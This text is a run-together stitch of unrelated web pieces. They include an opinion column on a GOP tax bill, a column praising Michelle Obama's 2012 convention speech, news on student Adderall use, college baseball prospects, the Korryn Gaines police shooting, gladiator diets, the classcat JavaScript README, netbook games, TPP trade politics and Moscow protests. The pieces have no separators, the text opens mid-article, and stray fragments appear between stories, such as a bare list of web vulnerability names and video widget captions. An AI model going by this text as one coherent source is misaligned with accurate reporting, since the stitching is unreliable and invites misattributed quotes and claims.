Initial language emerging for the year-end spending bill did not appear to include aspects of two bills that Collins demanded, Alexander-Murray and Collins-Nelson, intended partially to offset the expected premium increases resulting from repeal of the individual mandate. If Collins goes along, she will make a mockery of her promises to protect the Obamacare exchanges. Clark told me, “She is going to look at the final package (like she always does).”
It doesn’t sound as though Collins or other senators are standing firm on elements they once deemed essential. (“[Collins] has expressed concern about lowering the top tax rate, and Sen. Marco Rubio (R-Fla.) has complained that Republicans did not do more to further expand the Child Tax Credit. But neither has said whether they would oppose the bill.”) For Rubio, it’s another instance (as when he endorsed President Trump and voted to confirm Secretary of State Rex Tillerson) when big talk and high-minded principles crumble in the race of a vote.
GOP tax-cut advocates know full well that Rubio’s lack of spine will mean a vote for whatever the leadership puts under his nose. The Post reported:
“I have no idea why he didn’t stick to his guns. I’m sort of at a loss to explain it,” said Joshua McCabe, a tax expert at Endicott College who has written about the history of the Child Tax Credit. Republicans appear ready to make that calculation again. Rubio hasn’t publicly vowed to vote against the bill if the tax credit isn’t increased, and both Rubio admirers and critics are skeptical he’d do it. “This isn’t a guy who wants to be off the reservation. [Rubio] wants to be a team player, and wants to be supportive of tax relief in general,” said April Ponnuru, a senior adviser at the Conservative Reform Network and a Jeb Bush adviser who has worked closely with Rubio’s office on trying to expand the credit.
Here we see the four defining features of the GOP — indifference to substance, anti-populism (the bill is right-wing, supply-side economics in its most cartoonish form), contempt for voters and intellectual incoherence. The result will be a hugely unpopular bill that favors the rich, grows the debt and widens inequality. Voters already have figured this out. Whether it is the USA Today-Suffolk University poll (32 percent approve, 48 percent do not), the Marist poll (52 percent say it will hurt them, 30 percent say it will help) or the Quinnipiac University poll (26 approve, 55 percent do not; 65 percent think it will favor the rich), voters are telling us that they don’t like the bill and think it’s a gift for the rich and big corporations.
She says Obama's DNC speech was not unkind, yet eviscerated Mitt Romney candidacy
Tucker: Obama saluted military, told of humble roots, shared concerns with other Americans
She made case for her husband, drew contrasts with Romney without venom, Tucker says
After Michelle Obama's speech Tuesday night , it will be very difficult for her critics to portray her as angry or aggrieved. She rarely raised her voice. She smiled, she charmed, she seemed to tear up. She said not an unkind thing about her political opponents. Indeed, she never mentioned them.
Yet she eviscerated Mitt Romney and everything he represents by stunning contrast, by recounting her modest upbringing and reminding her audience that President Obama shared her unassuming roots. It was a bravura political performance cloaked in an apolitical narrative.
After Tuesday night, it will be very difficult for the Rush Limbaugh League to accuse the first lady of being unpatriotic, of failing to sufficiently love America. From her introduction by one of the nation's military supermoms -- Elaine Brye, mother of four military officers -- Obama spoke of schoolteachers, of firefighters, of wounded warriors and their sacrifices. Given Romney's failure in his convention speech to even acknowledge men and women in uniform, Obama's salute to them was another striking contrast, served up without venom or bile.
From their first presidential campaign, Michelle Obama's role has been at least as difficult to navigate as her husband's. As the first black woman to represent the country in a job with few defined duties but generations of cherished symbolism, she has had to endure relentless vicious attacks. She has been caricatured, as she has noted, as an "angry black woman."
Cynthia Tucker
She has been cast as hostile to whites. And her campaign against childhood obesity has earned cruel denunciations from the right, including a remark from an overweight GOP lawmaker that she has a "large posterior."
She has had to suffer through that privately, never shedding her calm exterior in public. She has had to shield her children from scrutiny and attempt to ensure they enjoy something close to normality. And she has had to carve out an official portfolio of suitable causes. But she has done all that with aplomb, racking up an enviable approval rating.
If she was once a reluctant political wife, she seemed Tuesday night to have found a way to enjoy her role. She was relaxed and confident. She was warm and approachable. (She was also lovely. That shouldn't matter, but it does. Just ask any woman in the national political spotlight.)
She wove a narrative thread around her insecurities about how the pressures of life in the White House might change her husband and her family. And she delivered a resounding assurance that the president remains not only loving and compassionate but also grounded in honesty and integrity. He can make the tough calls.
JUST WATCHED Watch Michelle Obama's full speech Replay More Videos ... MUST WATCH Watch Michelle Obama's full speech 25:59
JUST WATCHED Who made the better pitch to women? Replay More Videos ... MUST WATCH Who made the better pitch to women? 02:09
JUST WATCHED Carville: 'One heck of a night' at DNC Replay More Videos ... MUST WATCH Carville: 'One heck of a night' at DNC 03:27
"Well, today, after so many struggles and triumphs and moments that have tested my husband in ways I never could have imagined, I have seen firsthand that being president doesn't change who you are -- it reveals who you are."
In a speech full of great lines, that was my favorite. If Romney is a congenital flip-flopper whose views shift with the political winds, Obama's character has already been revealed, she noted without rancor or even explicit comparison.
"And I've seen how the issues that come across a president's desk are always the hard ones -- the problems where no amount of data or numbers will get you to the right answer ... the judgment calls where the stakes are so high, and there is no margin for error," she said.
Rarely have I heard a political speech that so deftly hit all the right notes and so stirringly found all the right chords.
She deftly deflected Republican accusations of class envy:
"Our families weren't asking for much. They didn't begrudge anyone else's success or care that others had much more than they did. ... In fact, they admired it."
But she also noted that Democrats don't believe in Ayn Rand's hyperindividualism.
"We learned about gratitude and humility -- that so many people had a hand in our success, from the teachers who inspired us to the janitors who kept our school clean ... and we were taught to value everyone's contribution and treat everyone with respect."
International
ani-Staff
By Samyuktha
Washington, April 26 (ANI): A US survey has suggested that college students are illegally boosting their brainpower by using 'smart drugs' like Ritalin and Aderall.
The college campus survey revealed the drugs are meant for those with attention deficit disorders.
Alan DeSantis, professor of Communications at the University of Kentucky, decided to study the use of drugs like Ritalin and Adderall because he was surprised to hear so many of his students talking about taking them.
He found that among nearly 2,000 U. of K. undergrads surveyed, 34 percent said they had taken them without a prescription and that the percentage rose, as students got closer to graduation.
"If you were to ask what percentage of juniors and seniors are using ADHD stimulants, the number is well above 50, pushing 60 percent," CBS News quoted him as telling "60 Minutes" correspondent Katie Couric.
"Add in juniors and seniors who are in fraternities and sororities, the number is up [to] 80 percent," DeSantis said.
DeSantis says nearly all the respondents said the drugs improved their scores by one or two letter grades.
According to DeSantis, 4 percent of undergrads at the University of Kentucky have legal prescriptions for ADHD stimulants and those students often have leftover pills they give or sell to their fellow students, like Lauren, a junior at the University.
"I've taken them to study for tests and write papers....If I'm not on Adderall, I'll read something and I'm not really interested at all," she explained how the drugs work for her.
"But then you take an Adderall and you...all of the sudden are just totally consumed in what you are doing," she told Couric.
Scott, another U. of K. student, who says he does not take these drugs, understands why others do.
"Everybody's trying to get an edge...if you can take a pill that will help you study all night to get that grade you need...a lot of people don't see why they wouldn't do it," he said.
Scientists, like Dr. Nora Volkow, director of the National Institute on Drug Abuse, point out that stimulants like Adderall and Ritalin can cause heart trouble and raise blood pressure.
She says the long-term effects of people without attention deficit disorder using such drugs are not known and she has another concern.
"The reality is there are side effects of these drugs," Volkow said.
"One of them is addiction, but another one can be psychosis, so it's not worth the risk," she stated.
U. of K. student Catherine, who says she does not use smart drugs, raises another question.
"I feel that it's an unfair advantage," she told Couric.
Some of the top college baseball players to watch this season:
—Dansby Swanson, SS, Vanderbilt, junior. He started 72 games at second base, batted .333 and was named the Most Outstanding Player of the College World Series. He'll move to shortstop with the departure of Vince Conde, though scouts believe Swanson's future is at second.
—Nathan Kirby, LHP, Virginia, junior. After working out of the bullpen in 2013, Kirby was the No. 1 starter and the ACC pitcher of the year. He struck out 18 while no-hitting Pittsburgh and finished 2014 ranked among the national leaders in hits allowed and strikeouts.
—Alex Bregman, SS, LSU, junior. He's been the most consistent offensive threat in the Tigers' lineup the past two years. He batted .451 with six doubles, three homers and 16 RBIs over the final 12 games, and he turned in a second straight strong summer with the U.S. Collegiate National Team.
—Walker Buehler, RHP, Vanderbilt, junior. He pitched more than 100 innings and went 12-2 with a 2.64 ERA for the national champion Commodores and then was co-playoff MVP in the Cape Cod League. He's added 15 pounds to his 6-foot-1 frame to get up to 175.
—Riley Ferrell, RHP, TCU, junior. The Louisville Slugger preseason national player of the year had a 0.79 ERA, struck out 70 in 45 1-3 innings and set a school record with 15 saves. He needs three more saves to break the school career record of 20.
—Sikes Orvis, 1B, Mississippi, senior. Orvis hit a team-leading 14 home runs and had a .540 slugging percentage, and he committed only three errors at first. He starred in the postseason, driving in the go-ahead run in the regional-clinching win and homering in the super-regional win that sent the Rebels to the CWS.
—James Kaprielian, RHP, UCLA, junior. Kaprielian is a big reason why the Bruins are predicted to bounce back after following their 2013 national championship with a sub-.500 campaign. The 6-4, 200-pounder got better as the season progressed and led the Pac 12 with 108 strikeouts in 106 innings.
Michael Matuella, RHP, Duke, junior. This is a huge season for the 6-foot-7, 220-pounder who's a projected high first-round draft pick based on potential. His fastball has touched 97 mph, and he has a wicked curveball and improving slider, but he's been beset by injury and didn't pitch last summer.
—Ryan Boldt, OF, Nebraska, sophomore. The Cornhuskers excelled with Boldt in the leadoff spot the second half of last season. He was 6 for 10 in the Stillwater Regional and went on to have a sensational summer in the Northwoods League.
—Ian Happ, OF, Cincinnati, junior. The switch-hitting Happ is poised to become highest draft pick in a program whose biggest-name alum is Kevin Youkilis. Happ batted .322 each of the past two years for Cincinnati and is a two-time Cape Cod League All-Star.
Cross-site Request Forgery
Server-Side Request Forgery (SSRF)
SQL Injection
Server-side Remote Code Execution (RCE)
Last year the accounts of Uber's riders has been compromised, news comes out in September last year when Uber car was on its way to pick their customer/rider in California, but the customer/rider didn't order the Uber's car service. The account of their customer was hacked which opened the Pandora box that hundreds of Uber's accounts has been compromised. The issue was fixed just after two weeks.
Korryn Gaines recorded video of her standoff with Baltimore County police officers on August 1 and posted it on social media. Police say Gaines, a 23-year-old black woman, pointed a gun at officers and threatened to kill them before they shot and killed her. Officers had arrived at her apartment to serve warrants. (Instagram @shesyourmajesty)
Before she was killed and her 5-year-old son injured in a shootout with Baltimore County police, Korryn Gaines was live-streaming the standoff to the Internet. Her social-media followers, police said, were encouraging her not to give in.
She did not. After repeatedly pointing a shotgun at officers standing in the hallway of her Randallstown home Monday over hours of negotiation, police said, Gaines told them to retreat or die.
“If you don’t leave, I’m going to kill you. I’m going to kill you,” she said at about 3 p.m., according to Baltimore County Police Chief James W. Johnson at a news conference Tuesday.
Police said they fired a shot, and Gaines responded with a barrage of gunfire. They shot three more times. Gaines was killed. Her son, hit by a bullet or shrapnel, is still in the hospital.
Amid the negotiations, police authorities successfully petitioned Facebook to disable the 23-year-old’s accounts, which took about an hour to take effect.
Police arrived at Gaines’s home that morning to serve an outstanding warrant from another encounter she had recorded and shown online: a March traffic stop that ended in her being charged with disorderly conduct and resisting arrest. Police also had a warrant for her boyfriend, Kareem Kiean Courtney, 39, who was charged with second-degree assault in a domestic incident involving Gaines.
No one answered the door, the chief said in recounting events. Courtney soon came out of the residence with a younger child and was arrested on the assault warrant. He was later released on his own recognizance.
But Gaines refused to leave, police officials said. When officers entered using a landlord’s key, they said, Gaines was sitting on the floor pointing a shotgun at them, and her son was nearby.
Police retreated to the hallway and began an “hours-long dialogue” with Gaines, Johnson said. Trained negotiators, mental health counselors and Gaines’s father all were summoned to talk her out of the apartment.
People discussed the incident on Twitter, debating whether police acted appropriately when faced with an armed woman who threatened officers while her child was nearby. Some said it seemed that police had no choice; others questioned whether the official account was accurate.
“There were times when we thought this would come to a peaceful resolution, closure,” Johnson said. “There were other times she was highly agitated. The entire time throughout the afternoon she repeatedly pointed the weapon at our personnel.”
Baltimore County Police held a news conference on August 1 about the fatal shooting of 23-year-old Korryn Gaines, a black woman killed by police in Randallstown. Officers were trying to serve warrants at the apartment when they said Gaines pointed a gun at them and threatened to kill them during an hours-long standoff. A five-year-old boy was taken to the hospital with a gunshot wound. (Baltimore County Police)
Gaines legally purchased the Mossberg 12-gauge shotgun with a pistol grip last year, police said.
Police could not say whether the child was hit by a bullet or shrapnel from shots fired by authorities or by his mother. They also said they could not say exactly where the boy was when shots were fired. “We know the child, as a 5-year-old would, was moving about,” Johnson said.
Police did not record the negotiations. The department launched a body camera program in July, but police involved in this shooting had not been trained or issued cameras, said county police spokeswoman Elise Armacost. Since the program launched, only about 40 officers out of the 1,900-member force have been outfitted with the devices, she said.
Johnson said Gaines had “anti-government views” but it is unclear if she was part of any specific movement.
Her aunt, Shannon McGee-Gaines, said in an interview Tuesday that an inaccurate portrait was emerging of her niece but that she did not feel she was in a position to share details.
“She was intelligent, strong, determined, beautiful. She was a dedicated mother, an awesome friend. She was determined to enlighten people. There’s not enough accolades I can give her,” McGee-Gaines said. “There’s a lot that people don’t know.”
Gaines had a history of problems with anger and impulsive behavior, according to assessments from a doctor included in a lawsuit Gaines filed in 2012 against the owner of two Baltimore rental homes she had lived in as a child.
Her suit alleged “a sea of lead” paint made her ill.
A doctor who examined Gaines found that she continued to display “signs of neurocognitive impairment,” and “lost significant IQ points as a result of that exposure.”
On social media, Gaines frequently posted messages highlighting police shootings of unarmed black people across the country, which have provoked massive protests in recent weeks.
She threatened a militant response.
“They can try to come get it they gon leave with more Lead than they poisoned me wit,” one message on her Instagram page reads.
In a video posted about two weeks ago, Gaines is shown loading a shotgun. “They threw me a charge too late,” she wrote. “Let’s dance, i got some rhythm.”
According to a police report from the March stop, which the department released after the shooting, Gaines was stopped when an officer saw that in place of a license plate she had a piece of cardboard on her vehicle. The cardboard declared, “Any Government official who compromises this pursuit to happiness and right to travel, will be criminally responsible and fined, as this is a natural right and freedom.”
Gaines refused to give police her license and registration at the traffic stop, according to the report, saying they had no right to stop her. Police say she told them that if they wanted her to leave the car, they would have to “murder” her, according to the report.
Two children were in the car, according to the report. In one video she posted online, an officer is seen moving a child off Gaines’s lap while another officer grabs her arm.
Gaines was ultimately removed from the car and arrested, suffering a minor cut on her finger, the report states.
While waiting for a paramedic to arrive, Gaines shouted to her son to fight and bite the police, according to the police report.
After the shooting, police also released a report showing that officers had been called to Gaines’s apartment on June 28 for a report of a domestic dispute between Courtney and Gaines. The couple allegedly was having an argument that led to a physical confrontation. Gaines told police that Courtney grabbed a chair and “attempted to strike her with it,” according to the report.
Gaines and Courtney have been together for about three years and living together for about three months, according to the report.
Sheldon Greenberg, an expert on police protocol at Johns Hopkins University, said decisions during hostage standoffs focus on the threat posed by the person with the gun, not the age of the hostages.
“The fact that it’s a small child or someone elderly, from the point of view of looking at it in the aftermath, is emotional,” Greenberg said. “A hostage negotiator may use discussion of the child in a negotiation. But at the point of a police action, them having to wrestle the person down or even shoot the person, that’s after all considerations have been made.”
He said that if a child is separate from the person with the gun, police may try to coax him or her to safety. But if the child is with the armed suspect, trying to address him or her directly could “exacerbate the situation.”
Gaines is one of 564 people to be fatally shot by police this year; 27 were women. Nine of those women, like Gaines, were black.
Armacost said police “exercised extreme patience” and always tried to avoid death.
But if someone points a gun at officers “it very well many not end well, and that is the situation we had in this case,” the police spokeswoman said.“If the same situation evolved with a person of any race or ethnicity . . . we would have the same outcome.”
Agençe France-Presse
Roman gladiators were overweight vegetarians and not the muscle-bound men protrayed by actors like Russell Crowe, anthropologists say.
Austrian scientists analysed the skeletons of two different types of gladiators, the myrmillos and retiariae, found at the ancient site of Ephesus, near Selsuk in Turkey.
"Tests performed on bits of bone taken from the skeletons of some 70 gladiators buried at Ephesus seem to prove that they ate mainly barley, beans and dried fruit," said Dr Karl Grossschmidt, who took part in the study by the Austrian Archaeological Institute
"This diet, which has been mentioned in the oral history, is rather sad but it gave the gladiators a lot of strength even if it made them fat," said Grossschmidt who is a member of the University of Vienna's Institute of Histology and Embryology.
The Austrian palaeoanthropologists relied on a method known as elementary microanalysis that allows scientists to determine what a human being ate during his or her lifetime.
With the help of a sonar, they could establish the chemical concentrations inside cells in the bone samples taken from the skeletons at Ephesus.
From this, they could deduce how much meat, fish, grains and fruit made up the diet of the Roman fighting machines.
A balanced diet of meat and vegetables leaves equal amounts of zinc and strontium in the cells, while a mainly vegetarian diet would leave high levels of strontium and little zinc, Grossschmidt said.
Fabian Kanz, from the university's department of analytical chemistry, said the gladiators' bone density gave us clues to how they lived.
"The bone density here was higher than usual, as is the case with modern athletes," he said.
This line of testing allowed the scientists to debunk another myth, that gladiators wore strappy Sparticus sandals in the arena.
"The bone density is particularly high in samples taken from the feet, which would suggest that the gladiators fought with their bare feet in sand," Kanz said.
He believed that because some gladiators fought with little more than their bare hands, they could have "cultivated layers of fat to protect their vital organs from the cutting blows of their opponents".
A gladiator's life
In ancient Rome, the classical battle of gladiators usually pitted a myrmillo armed with a sword, a helmet and a round shield, against the lightly armed retiarius who carried only a net and a dagger, or a samnite who wore a visor and a leather sheath protecting his right arm.
They were mostly slaves who volunteered to fight because sometimes the victor would be freed as a reward, or poor Romans who fought for pay.
The Austrian scientists are still carrying out further tests, but if their initial findings are confirmed it would change the glamorous image of the men immortalised in Spartacus, the 1960 movie starring a young Kirk Douglas, and the more recent Gladiator with Crowe in the main role.
"It seems that the gladiators tried to put on some weight before their battles," Kanz said.
"But this does not mean that they did not work hard to lose it again once they stepped out of the ring," he added.
The archeological site of Ephesus is one of the most important in Turkey.
The Greeks founded the city but it was the Romans who made it the capital of their Asian province and turned it into one of the wealthiest cities of their empire.
Classcat is a declarative string builder optimized for DOM className properties.
Each class can be conditionally added and removed depending on the falsiness of the value it is paired with. Here is a button you can toggle on and off. Go ahead and try it online.
import cc from " classcat " export const ToggleButton = ({ isOn }) => ( < div class = " btn " > < div class = { cc ({ circle : true , off : ! isOn , on : isOn }) } /> < span class = { cc ({ textOff : ! isOn }) } > { isOn ? " ON " : " OFF " } </ span > </ div > )
Features
Tiny (300B)
Zero dependency
5x faster drop-in replacement for JedWatson/classNames
Framework agnostic — use with React, Preact, Hyperapp — your choice!
Installation
npm i classcat
Don't want to set up a build environment? Download classcat from a CDN and it will be globally available through the window.classcat object. Classcat works in all browsers >= IE9.
< script src = " https://unpkg.com/classcat " ></ script >
Usage
Classcat expects an array of elements or an object of key/value pairs and joins all the elements in the array and object keys. Falsy array elements and object properties will be ignored. Single string or number values need not be in an array.
import cc from " classcat " cc ( " foo " ) // => "foo" cc ({ foo : true , bar : false }) // => "foo" cc ([{ foo : true , bar : false }, " baz " ]) // => "foo baz" cc ([ null , { foo : true , bar : false }, " baz " , 0 , undefined ]) // => "foo baz"
Arrays will be recursively flattened as per the rules above.
cc ([ " foo " , [ " bar " , { baz : true , bam : false }]]) // => "foo bar baz"
Variable number of arguments are not supported. Wrap multiple arguments in an array.
cc ( " foo " , " bar " , " baz " ) // => "foo"
Use to set the class/className of an element created with your chosen view framework.
const popupView = popup => ( < div class = { cc ({ popup : true , " popup-important " : popup . isImportant , " popup-seen " : popup . isSeen }) } > { popup . content } </ div > )
API
names
A number, string, object or array. Objects consist of className/value pairs. Arrays are recursively reduced, therefore elements can be of any type aforementioned. Truthy values are added to the output, falsy values are ignored.
cc ([ " foo " , " bar " , { baz : true , bam : false }, undefined ]) // => "foo bar baz"
Benchmark Results
All benchmarks run on a 2.4GHz Intel Core i7 CPU with 16 GB memory.
npm run build && npm i -C bench && npm -C bench start
# Strings classcat × 15,009,674 ops/sec classnames × 3,191,312 ops/sec clsx × 2,563,378 ops/sec # Objects classcat × 20,053,517 ops/sec classnames × 3,479,564 ops/sec clsx × 2,509,453 ops/sec # Strings & Objects classcat × 11,317,394 ops/sec classnames × 3,006,549 ops/sec clsx × 2,100,306 ops/sec # Arrays classcat × 4,142,953 ops/sec classnames × 986,519 ops/sec clsx × 531,326 ops/sec # Arrays & Objects classcat × 4,892,534 ops/sec classnames × 2,354,448 ops/sec clsx × 1,194,463 ops/sec
License
It's quite astounding how many games will run on the current generation of 1.6GHz Atom netbooks, though. You don't need a supercharged PC to make games look good on their low res screens.
Getting games to run on a Windows netbook with a USB CD drive is a cinch - simply install it like you would on any other machine. Getting them to run off the hard drive while you're on the move is slightly trickier: we wouldn't recommend Googling for an unofficial no-CD patch as these can contain spyware, and artificially mounting a CD's contents using something like Alcohol will interfere with copy protection and cost valuable system resources.
The point is, though, that there's a huge catalogue of titles old and new that run perfectly well on netbook hardware. Owning one is a great excuse to revisit games from years ago that you loved or classics that you never got round to playing.
Here's a list of twelve of the best - from hundreds of potentials - that you should try out.
1. World of Warcaft
£19.99 - www.worldofwarcraft.com
Yep, believe it or not WoW runs on a netbook, although you should avoid CPU heavy areas like Ironforge. Still, great for hardcore addicts who want to log on to check their auctions from the train.
2. Half-Life
£5.99 - store.steampowered.com
The Source engine behind Half-Life 2-based games is about as complex as a netbook can handle. You can play HL2, but it's a choppy experience you won't want to repeat. Try classic Half-Life instead - both are easily installed through Steam.
3. Strong Bad's Cool Game for Popular People
$34 - www.telltalegames.com/strongbad
Contrary to popular belief, good point-and-click adventure games are still being made, and they're lightweight enough to run on an Eee. If you enjoy this, you should try the latest Sam & Max games too.
4. Robokill
£from free - www.rocksolidarcade.com
There are literally thousands of free Flash games out there, and some of them are nuggets of pure arcade game gold. The business model is similar to shareware - play a large chunk of the game for nowt, and if you like it, pay to unlock the rest.
5. Anything on SCUMM
£various - wiki.scummvm.org
Many groundbreaking canonical Lucasarts games from the early 90s, like The Secret of Monkey Island and Day of the Tentacle can be played without the disc thanks to an app called SCUMMVM.
6. Medieval: Total War
£5 - www.totalwar.com
Unbelievable, huh? The stunning 3D battles of Medieval run incredibly smoothly on a netbook, bringing some of the best strategy ever to the small screen. Curiously, it is the seemingly simpler campaign map that refuses to run at all. Still, half of an old Total War is still a better game than most new full releases.
7. QuakeLive
£free - www.quakelive.com
If you've never heard of id Software's Quake series, you probably don't play many games. The definitive first-person shooter now runs from a web browser, and the beta even works on netbooks.
8. Baldur's Gate 1&2
£10 - www.bioware.com/bgate
RPGs aren't as big as they used to be. There's hundreds of hours of playtime in the Baldur's Gate games, which are available as a single pack for just a tenner. Other RPGs on the same engine also run well, like Planescape: Torment and Fallout 1&2.
9. Grim Fandago
£5 - www.lucasarts.com
Finishing off the adventure games in this list is Grim Fandango - possibly the funniest and most infuriatingly difficult game of all time. Brilliantly written, everyone should play it at least once.
10. Sins of a Solar Empire
£20 - www.sinsofasolarempire.com
One of last year's best games really doesn't need an ultra-modern PC to run. SOSE is an independently developed space strategy - the vast 3D environments look brilliant on a netbook, but ironically some of the menus are too big for the screen.
11. Peggle
£from free - www.popcap.com
Kings of the casual games world, Popcap has loads of brilliant puzzle games like Bookworm Adventures which run from within a browser. Peggle remains one of its best, though.
12. World of Goo
£17- 2dboy.com
There's a bias towards puzzle games because they suit the fun simplicity of netbooks best, and last year's multi-award winning World of Goo is a sticky physics challenge which will run without even needing a disc, if you install from Steam.
Now read Supercharge your netbook
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During stops at Apple, Cisco Systems and GoPro, among others, members of the New Democrat Coalition heard from frustrated tech executives who pleaded with them to help boost global growth and demanded to know why the president’s party was not lining up behind his trade push.
“They were obviously perplexed that trade has become so contentious and so difficult,” said Rep. Ron Kind (D-Wis.), chairman of the congressional coalition.
The emerging support for Obama’s trade initiative in Silicon Valley, a liberal-leaning enclave of cutting-edge businesses, stands in sharp contrast to the fierce opposition from the labor unions that represent the working-class heart of the Democratic Party. The tension reflects mounting anxiety within the party over the nation’s widening income gap and a fear that the trade deal will produce a clear set of winners and losers among U.S. industries.
In making his case for the sweeping, 12-nation Trans-Pacific Partnership (TPP), Obama has sought to reframe the debate, away from a narrow focus on traditional manufacturing jobs to encompass sectors that are ascendant and, in his view, critical to maintaining the United States’ competitive edge in an increasingly interconnected and high-tech global economy.
But the president has run into staunch resistance from his own party, threatening to derail the trade deal, which Obama has made a legacy priority of his second term. The White House also regards the TPP as an important tool in confronting a rising China, because it would shift more U.S. attention to the fast-growing Asia-Pacific region.
The argument between the president and progressive Democrats has gotten barbed and personal, and only a small fraction of House Democrats — about 17 so far — have said they will support the fast-track trade legislation, which was narrowly approved by the Senate last month.
Congressional aides said Obama will have to deliver at least 25 Democrats to ensure passage in the House next week, and both sides are digging in for a showdown.
During their meetings in Silicon Valley, the Democratic lawmakers explained to the tech executives that “the voices of opposition are well organized and very loud and in-your-face,” said Kind, who supports the trade deal.
Opponents of the pact contend that the White House has placed the interests of big business ahead of the concerns of blue-collar workers in traditional sectors.
Administration officials reject that argument and insist that they are committed to reducing tariffs for U.S. producers of rice, beef, poultry and automobiles, whose employees stand to gain from increased access to Asian markets. Obama, who has made narrowing the income gap a centerpiece of his economic policy, has promised high-standard labor and environmental protections in the deal.
But the TPP also aims to strengthen patents for pharmaceutical, financial and information technology companies, extend copyrights for entertainment studios, and safeguard the free flow of data across borders for Internet and software firms. It is in those areas, independent economists have said, that the TPP could have the biggest impact in the United States.
“If we are going to capture the future, then we’ve got to open up markets to the kinds of things that we’re really good at, that can’t be duplicated overseas,” Obama said at the Fairfax Chamber of Commerce in April. “We’re good at innovation. Were good at services. We can create things that other countries can’t create.”
He acknowledged that low-wage manufacturing jobs have been moved overseas and, in many cases, are not coming back. “That ship has sailed,” he said. “What we can do is compete for the high end, where we’re adding value . . . where it’s IT, it’s talent, it’s innovation. That’s the kind of stuff that we can sell all around the world.”
For decades, Democrats have pitched a manufacturing revival as the key to lifting millions more workers into the middle class. In recent months, though, some of the party’s leading economic thinkers have conceded that may not be true, because manufacturing employment is receding around the world as factories become more automated.
Over the past decade, high-tech industries and those that rely heavily on intellectual property have dramatically outperformed traditional manufacturing, Labor Department statistics show. From 2002 to 2012, the combined economic output of Hollywood and “high-tech” industries – including pharmaceutical production, engineering services, and computer and aerospace manufacturing – grew by 30 percent, after adjusting for inflation. Traditional manufacturing shrank by 1.1 percent.
Not surprisingly, Hollywood, another bastion of support for liberal causes, has rallied to Obama’s trade agenda. The Motion Picture Association of America has highlighted the benefits of the TPP at the top of its Web site’s home page, and the association’s chairman, former senator Christopher J. Dodd (D-Conn.), has written two letters to Congress in support of the deal.
Dan Glickman, who preceded Dodd at the association, said the Internet has disrupted distribution models of the entertainment industry, which is concerned about online piracy in China and Europe. Though China is not involved in the TPP, the administration has sought to use the deal to pressure Beijing to begin playing by an international order set by the United States. (The Obama administration is pursuing a separate trade treaty in Europe with similar provisions.)
But Glickman, a former Democratic congressman from Kansas who served as agriculture secretary in Bill Clinton’s administration, added that the “politics of older industries creates a defensive model to preserve the status quo.”
Glickman said that “newer industries accept the need for openness” of international markets, but he acknowledged that the politics of trade have gotten more difficult since the North American Free Trade Agreement became effective in 1994. Organized labor has blamed that agreement, signed by Clinton, for the loss of hundreds of thousands of manufacturing jobs.
“The real thing that motivates you in politics is intensity,” Glickman said. “The men and women in Silicon Valley and in Los Angeles might care very much, but they do not express it as intently as those who are against it.”
In mid-April, 30 chief executives from tech companies, including Cisco Systems, Oracle and AT&T, flew to Washington to meet with more than 40 members of Congress and voice their support for the deal, said Mike Ward, a lobbyist for TechNet, which represents many of the industry’s largest firms.
Ward said the digital economy has grown immeasurably since the last time Congress approved fast-track trade promotion authority — for George W. Bush in 2002.
“That was before the iPhone existed,” Ward said. “The digital economy is now fundamentally different.”
Provisions in the TPP would restrict nations from requiring Internet companies in the United States to house data servers in foreign countries to do business there and would limit the countries from restricting the flow of information across borders.
As low-end manufacturing has moved abroad during the past half-century, the United States has shifted its production focus “into areas we do best,” said Peter Petri, a pro-trade economics professor at Brandeis University. “We’ve switched very heavily toward service, toward data. The wonderful new American companies in Silicon Valley are all about data. We have a disproportionate interest in these new rules.”
Even in Silicon Valley, however, the trade debate has proved divisive. Although the influential Silicon Valley Leadership Group — which represents 390 companies, including Facebook, Google and Microsoft — has lobbied in favor of the fast-track trade legislation, a group of 250 smaller tech companies signed onto a letter of opposition promoted by the Electronic Frontier Foundation (EFF).
They fear that the deal will cement overly restrictive intellectual-property protections on the Internet across the globe, transferring liability to ordinary consumers at home and abroad. Medical service providers, including Doctors Without Borders, have raised objections over patent provisions that they say will make access to lifesaving pharmaceutical drugs difficult for poorer countries.
“Obama is listening to those companies who say, ‘This is what we need to promote U.S. digital economies,’” said Maira Sutton, a policy analyst at EFF. “The problem is that users and smaller tech companies do not have the same amount of influence in the capital as those entrenched industries.”
The tone of the debate has frustrated White House allies who insist that the trade deal does not represent a zero-sum game. Simon Rosenberg, founder of NDN, a liberal think tank, said the progressive argument that the interests of workers have been in a steady decline because of free trade agreements and “corporatist” policies over the past 30 years isn’t entirely accurate.
“Median income soared under Bill Clinton,” Rosenberg said, “and wages have started to rise under President Obama. What this suggests is that while globalization may be inevitable, the struggle of American workers in a new, more competitive age isn’t. In the future, critics of trade would be wise to focus far more on steps we can take to ensure more of our people succeed than in cutting America off from a fast-changing world.”
There's a guitar and kazoo player under a tree on a leafy Moscow boulevard, singing squeaky songs of revolution. Under another, three men gather for an impromptu game of chess, their jackets and hats adorned with the white ribbons that have become the symbol of those protesting against Vladimir Putin. A sign says a lecture on the lessons of Egypt's Tahrir Square will begin at 6pm.
For nearly a week, hundreds of Russians have camped out at Chistye Prudy, a boulevard in the centre of Moscow whose name translates as Clean Ponds. Inspired in style by the global Occupy movement, but fed in substance by the growing anger at Putin's return to power, the protest is the clearest sign yet that opposition to Russia's leader refuses to go away.
"We can't live like this any more," said Nina Panteleyeva, a 63-year-old French teacher. "Everything is falling apart – the schools don't teach, the hospitals don't heal, the courts don't deliver justice."
Panteleyeva was one of 15,000 Russians that took to the streets of Moscow on Sunday for a march in support of the camp, nicknamed Occupy Abay after the statue of a 19th-century Kazakh poet that is the anchor of the sit-in.
The crowd erupted into applause when passing cars honked in solidarity. They wore white ribbons and carried white flowers. Refraining from shouting slogans or carrying anti-Putin signs, police left them alone.
Yet, through it all ran a shiver of fear. "Of course we're scared," said Lena Sokolovskaya, a 40-year-old designer. "We live in such a country where at any moment we can be crushed."
After violently cracking down on protests last week during Putin's inauguration for his third term as president, riot police have been called back. They had arrested hundreds in the span of four days as protesters wandered from square to square before settling down at Chistye Prudy.
The opposition leader Alexey Navalny, who helped launch the Occupy Abay movement, remains in jail on a 15-day sentence for disobeying police. His co-hort Sergei Udaltsov, a far-left leader, is also in jail and has gone on hunger strike. Supporters worry they could face longer sentences as the Kremlin seeks to clamp down on the movement.
Putin has remained silent on the protests since his inauguration. His spokesman, Dmitry Peskov, has said riot police acted "too softly" when they violently broke up a thousands-strong protest on the eve of the event. Ilya Ponomaryov, an opposition Duma deputy, said Peskov told him the protesters should "have their livers smeared on the sidewalk for injuring riot police". Peskov has refused to deny the phrase, saying only that Ponomaryov's publicising of a private conversation was "not manly".
